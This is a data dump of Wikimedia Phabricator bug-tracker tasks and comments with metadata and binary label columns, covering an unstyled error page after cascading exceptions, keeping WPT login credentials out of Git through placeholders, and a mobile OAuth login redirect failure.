+This error is unhelpful to non-developers, because it uses highly technical jargon like ""exception caught inside exception handler"", and doesn't tell users where to report the error. It doesn't even show the skin interface, which may make some users worry that they have ""broken the site""!",Medium,50.0,1442455023,1569619966.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-3d4umhveb7t4oejcuz5l,task_description,declined,True,c3,3,True,False,False,11,True,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+1361234,The usual WMF HTTP 500 error page is not displayed in the case of unhandled exceptions ,"A lot has changed in 2015. For the most part cases like these are covered, and they do always return HTTP 500 now.
+
+However, there remains a small edge case where if there are several layers of errors, it can still show in plain text. This is in cases where there are two or three layers of cascading errors within MediaWiki. The last layer there is a generic MediaWiki HTML output, which still looks like the above. This layer cannot read Wikipedia or WMF branding as the ability to do that is among the things that has failed at that point.
+
+As of PHP7 we have the php-wmerrors extension deployed again which means if this layer isn't reached either, the next level above that (e.g. for Segfaults), there is a pretty error page again. Closing as declined for now as I don't think is feasible to enhance this, rather the class of errors is sufficiently small that I don't think it's worth the cost and overhead of trying to enhance this with an additional subsystem. There is an easy alternative, which is to render a blank response that the traffic-layer (e.g. Varnish or Apache) would backfill with a generic nice error page. But this goes at the cost of being able to determine what went wrong (eg. an error message with details as to what happened and how it might be solved).
+
+Given this class of errors is among the most rare and yet the worst/most difficult to investigate, I think we'd prefer some details about what happened over no details but branding.",,,1569620011,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3d4umhveb7t4oejcuz5l,task_subcomment,,True,c3,3,True,,,221,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+1361233,The usual WMF HTTP 500 error page is not displayed in the case of unhandled exceptions ,"A lot has changed in 2015. For the most part cases like these are covered, and they do always return HTTP 500 now.
+
+However, there remains a small edge case where if there are several layers of errors, it can still show in plain text. This is in cases where there are two or three layers of cascading errors within MediaWiki. The last layer there is a generic MediaWiki HTML output, which still looks like the above. This layer cannot read Wikipedia or WMF branding as the ability to do that is among the things that has failed at that point.
+
+As of PHP7 we have the php-wmerrors extension deployed again which means if this layer isn't reached either, the next level above that (e.g. for Segfaults), there is a pretty error page again. Closing as declined for now as I don't think is feasible to enhance this, rather the class of errors is sufficiently small that I don't think it's worth the cost and overhead of trying to enhance this with an additional subsystem. There is an easy alternative, which is to render a blank response that the traffic-layer (e.g. Varnish or Apache) would backfill with a generic nice error page. But this goes at the cost of being able to determine what went wrong (eg. an error message with details as to what happened and how it might be solved).",,,1569619966,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3d4umhveb7t4oejcuz5l,task_subcomment,,True,c3,3,True,,,221,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+553094,The usual WMF HTTP 500 error page is not displayed in the case of unhandled exceptions ,"Er, we should depending on the stack trace :\",,,1445962659,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-3d4umhveb7t4oejcuz5l,task_subcomment,,True,c3,3,True,,,16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+553092,The usual WMF HTTP 500 error page is not displayed in the case of unhandled exceptions ,This should be pretty easy to do. We don't actually return a 500 in this scenario afaict...we should.,,,1445962564,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-3d4umhveb7t4oejcuz5l,task_subcomment,,True,c3,3,True,,,16,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+112733,Make WPT script files use placeholders (to be able to have login/password outside of the files),"We have support for using WPT script language today so we can login a user (or do whatever funky things we want). However right now they hold the login/passwords in the files and that will not be so good since we want to keep the version controlled in Git.
+
+Lets see if we can find a standard (easy) solution to just add whatever placeholder we want at inject the values. ",Medium,50.0,1442388282,1442955117.0,PHID-USER-hfqxkl5wvmdkecl5utfy,False,PHID-USER-hfqxkl5wvmdkecl5utfy,False,PHID-TASK-6zplaanzbnm66j5slgxt,task_description,resolved,True,c3,3,True,True,True,10,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+532028,Make WPT script files use placeholders (to be able to have login/password outside of the files),"Change 239080 merged by jenkins-bot:
+Make WPT script files use placeholders
+
+[[https://gerrit.wikimedia.org/r/239080]]",,,1442871687,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6zplaanzbnm66j5slgxt,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+529286,Make WPT script files use placeholders (to be able to have login/password outside of the files),"Change 239080 had a related patch set uploaded (by Phedenskog):
+Make WPT script files use placeholders.
+
+[[https://gerrit.wikimedia.org/r/239080]]
+",,,1442491112,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6zplaanzbnm66j5slgxt,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+112730,Failure to OAuth after login on mobile,"If I log in using this link (https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=Special:OAuth/authorize&returntoquery=oauth_token%3Df97d76d6ec67bde6719952217d5ab80e%26oauth_consumer_key%3Dd5aa23a6b7a6d61e21ba1bb725c212fe) on my iPad mini to log in and authorise the Wikidata Game on toollabs access to my account (Vidar?) I'm taken to this site (screenshot below; https://m.mediawiki.org/wiki/Special:CentralLogin/complete?token=39880826259b573205f3c40ad7ae8570) after logging in, instead of the ""Allow-dialog"" which is visable on desktop.
+{F2608859}",Medium,50.0,1442387864,1701057345.0,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-nfqc6az2tmukucqqnqjz,task_description,resolved,True,c3,3,True,False,False,10,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,0
+2235786,Failure to OAuth after login on mobile,">>! In T112730#9357597, @Tgr wrote:
+> We should set up a test consumer which uses the wrong URL and verify this.
+
+Filed as {T351988}. Nothing actionable left here.",,,1701057345,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,438,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,1
+2235704,Failure to OAuth after login on mobile,"See T74186#9357590 for what I think was going on here. 
+
+>>! In T112730#7970193, @kostajh wrote:
+> Can you provide some more detail about how you changed the URL?
+
+Configured the tool to redirect to `https://www.mediawiki.org/wiki/Special:OAuth/authorize` instead of `https://www.mediawiki.org/w/index.php?title=Special:OAuth/authorize`, presumably.
+
+FWIW {ee049b8e45e0a968cc6a7e0e730a228037a7085a} fixed the login issue so even if an app used the wrong URL today, I think login would work (they would just have to do it on the desktop site which is bad for UX). We should set up a test consumer which uses the wrong URL and verify this.",,,1700989827,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,438,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1
+2233370,Failure to OAuth after login on mobile,">>! In T112730#3474368, @Samwalton9-WMF wrote:
+> This stiill appears to be an issue. I'm unable to login to Phabricator on mobile, seeing the same error as in the original post.
+
+I'm now able to log in to Phabricator without issue.",,,1700563511,,PHID-USER-ksxcfwf6vvnfvopbps4h,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,437,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+2232990,Failure to OAuth after login on mobile,"I can't reproduce this today.
+
+All of the OAuth login links I've tried (the one in task description, https://tools.wmflabs.org/wikidata-game/, https://phabricator.wikimedia.org/, https://dashboard.wikiedu.org) send me to the mobile login page when I'm using my phone today, and not to the desktop page as described in everyone's reproduction steps.",,,1700519367,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,437,True,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0
+1926081,Failure to OAuth after login on mobile,">>! In T112730#7970088, @Magnus wrote:
+> I //think// I fixed the URL for `Special:OAuth`, someone please try it in the wild
+
+YES! I just tried mobile login via OAuth on dashboard.wikiedu.org (while initially logged out on Wikipedia) and it worked smoothly! Until now, it's always thrown an error after login, and would only work if I was already logged on Wikipedia at the outset of the OAuth login flow.
+
+Thank you Magnus!",,,1654018322,,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,360,True,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,1
+1925778,Failure to OAuth after login on mobile,">>! In T112730#7970088, @Magnus wrote:
+> I //think// I fixed the URL for `Special:OAuth`, someone please try it in the wild
+
+Can you provide some more detail about how you changed the URL?",,,1654003656,,PHID-USER-jzbjfcs2csloltie4voe,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,360,True,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,0,0,0,1,0,1
+1925743,Failure to OAuth after login on mobile,"I //think// I fixed the URL for `Special:OAuth`, someone please try it in the wild
+",,,1654001293,,PHID-USER-hms7bpiczbwhx4dxgiqw,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,360,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+1925344,Failure to OAuth after login on mobile,"I am seeing the error for `centralauth-error-nologinattempt` on mobile after inputting my two factor auth code. {F35190897} This is happening in the embedded browser in the Wikipedia app on iOS. Anecdotally, I think others have encountered this issue lately as well (cc @KStoller-WMF who I believe experienced this last week).",,,1653940444,,PHID-USER-jzbjfcs2csloltie4voe,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,360,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0
+901396,Failure to OAuth after login on mobile,"This stiill appears to be an issue. I'm unable to login to Phabricator on mobile, seeing the same error as in the original post.",,,1501069805,,PHID-USER-ksxcfwf6vvnfvopbps4h,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,107,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+736976,Failure to OAuth after login on mobile,"Just collecting some tasks here related to broken login behavior.
+
+* {T53789}
+* {T56123}
+* {T64244}
+* {T64484}
+* {T65821}
+* {T95221}
+* {T125139}
+* {T140127}
+* {T140853}
+* {T145545}
+* {T145771}
+* {T146122}",,,1475202059,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,65,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+728112,Failure to OAuth after login on mobile,">>! In T112730#2631177, @Tgr wrote:
+> Yes, if you experience the same error without any OAuth tool being involved, a separate task would helpful. Might or might not be the same underlying issue, but at a minimum a login will be a lot easier to reproduce and debug than a full authorization flow.
+
+There's now {T145545} as well.",,,1473808487,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,62,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,0,1,0,1
+727336,Failure to OAuth after login on mobile,"Yes, if you experience the same error without any OAuth tool being involved, a separate task would helpful. Might or might not be the same underlying issue, but at a minimum a login will be a lot easier to reproduce and debug than a full authorization flow.",,,1473720659,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,62,True,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+727321,Failure to OAuth after login on mobile,">>! In T112730#2627509, @Tgr wrote:
+> It seems pretty rare.
+
+What does this mean? Do we log this error anywhere? How many times are we raising this error per day?
+
+As far as I know, my English Wikipedia user account and Phabricator are completely distinct. Perhaps the issue I'm hitting is separate from this issue (T112730), T95221, and T119343. If so, I can file a new task if you would prefer that.
+
+> And it has an obvious workaround (login first, then authorize).
+
+I experienced this issue when logging in to a MediaWiki wiki. What specifically do you think I should authorize in order to log in to the wiki with a regular user account?",,,1473718987,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,62,True,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+726577,Failure to OAuth after login on mobile,"It seems pretty rare. You need to be 1) on mobile 2) logged out on Phabricator or whatever else you are using 3) sent for tool authorization to a wiki where you are not logged in 4) the tool must be using the non-canonical form of the URL; and even then it does not happen deterministically. And it has an obvious workaround (login first, then authorize).",,,1473661054,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,62,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+726568,Failure to OAuth after login on mobile,">>! In T112730#2529340, @Tgr wrote:
+> {T95221} and {T119343} seem like duplicates of this.
+
+Who is investigating this issue? It seems pretty bad. I hit this error when trying to log in to the English Wikipedia on my phone the other day.",,,1473656011,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,62,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1
+707097,Failure to OAuth after login on mobile,{T95221} and {T119343} seem like duplicates of this.,,,1470432120,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,57,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+558126,Failure to OAuth after login on mobile,"The exception is due to the mobile redirect-- you gave your username and password to www.mediawiki.org, but you're trying to complete the login on m.mediawiki.org. If the wikidata-game updates its authorization redirect from,
+
+https://www.mediawiki.org/w/index.php?title=Special:OAuth/authorize&oauth_token=...
+
+to
+
+https://www.mediawiki.org/wiki/Special:OAuth/authorize?oauth_token=...
+
+then it should Just Work.",,,1446660827,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+558084,Failure to OAuth after login on mobile,The mobile login form is no different from desktop login form so I expect there is some code that is not being loaded e.g. doesn't have appropriate target set.,,,1446657587,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,17,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+529010,Failure to OAuth after login on mobile,"I've confirmed this on my Android phone. As a logged-out mediawiki.org user (copy of Josve05a's steps):
+#  Go to https://tools.wmflabs.org/wikidata-game/
+#  click the link ""log in here""
+# Log in. (You should see the desktop view of the log in screen; i.e. do not change to m.mediawiki manually)
+# You are now redirected to the mobile site (screenshot above)
+{F2611055}
+
+",,,1442443646,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+528977,Failure to OAuth after login on mobile,"In step 2 I'm redirected to https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=Special:OAuth/authorize&returntoquery=oauth_token%3De94cd7cc12a91889d00f124f49237fed%26oauth_consumer_key%3Dd5aa23a6b7a6d61e21ba1bb725c212fe
+{F2610989}
+I press log in on that screen, and I'm redirected to https://m.mediawiki.org/wiki/Special:CentralLogin/complete?token=0272357381eda2e9c47a65b7d7831e27
+{F2610991}",,,1442441542,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+528976,Failure to OAuth after login on mobile,"In step 2 I'm redirected to https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=Special:OAuth/authorize&returntoquery=oauth_token%3De94cd7cc12a91889d00f124f49237fed%26oauth_consumer_key%3Dd5aa23a6b7a6d61e21ba1bb725c212fe
+{F2610989}
+I press log in using that screen, and I'm redirected to https://m.mediawiki.org/wiki/Special:CentralLogin/complete?token=0272357381eda2e9c47a65b7d7831e27
+{F2610991}",,,1442441530,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+528975,Failure to OAuth after login on mobile,"In step 2 I'm redirected to https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=Special:OAuth/authorize&returntoquery=oauth_token%3De94cd7cc12a91889d00f124f49237fed%26oauth_consumer_key%3Dd5aa23a6b7a6d61e21ba1bb725c212fe
+{F2610989}
+I log in using that screen, and I'm redirected to https://m.mediawiki.org/wiki/Special:CentralLogin/complete?token=0272357381eda2e9c47a65b7d7831e27
+{F2610991}",,,1442441512,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+528968,Failure to OAuth after login on mobile,"iPad mini (iOS), Safari. Let me get utl:s and screenshots",,,1442441291,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1
+528956,Failure to OAuth after login on mobile,"Still can't reproduce, your steps work fine for me (in desktop Chrome in private mode). What device and browser are you using? What is the full URL for that error message?",,,1442440507,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,0
+528949,Failure to OAuth after login on mobile,"No, if I click the ""log in here""in the second step, affter having done all 4 steps once already in this session, I'm taken to the desktop ""Allow-dialog"" directly. So it's the redirecting from the login screen on ""desktop-view"" to the dialog in ""mobile view"" which is broken somehow. However, if I start a new session (restart the browser, or enter private mode, or log out from wiki) I can reproducae all the steps once again.",,,1442440128,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
